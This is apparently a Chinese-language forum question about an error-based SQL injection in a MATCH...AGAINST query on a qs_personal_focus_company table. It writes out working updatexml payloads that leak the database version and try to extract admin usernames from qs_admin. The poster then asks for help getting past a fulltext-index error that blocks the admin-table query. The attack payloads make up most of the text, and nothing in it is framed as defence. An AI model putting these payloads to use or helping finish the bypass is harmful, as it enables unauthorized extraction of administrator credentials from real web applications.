SELECT * FROM `qs_personal_focus_company` WHERE MATCH (`company_id`) AGAINST ("aaa");
目前的情况:以上代码aaa参数可控造成的显错注入,但是MATCH..AGAINST需要company_id的属性为fulltext,不然会报错如下图。
当构造语句执行数据库内置函数的时候,是可以优先报错内置函数的(version,database(),user())。
SELECT * FROM `qs_personal_focus_company` WHERE MATCH (`company_id`) AGAINST ("aaa") and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) -- a
但构造语句为查询语句,就会优先报错MATCH...AGAINST,如第一张图,因为company_id的属性不为fulltext。
SELECT * FROM `qs_personal_focus_company` WHERE MATCH (`company_id`) AGAINST ("aaa") and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x23) FROM qs_admin limit 0,1),0x7e),1) -- a
各位大佬有什么好的解决办法吗?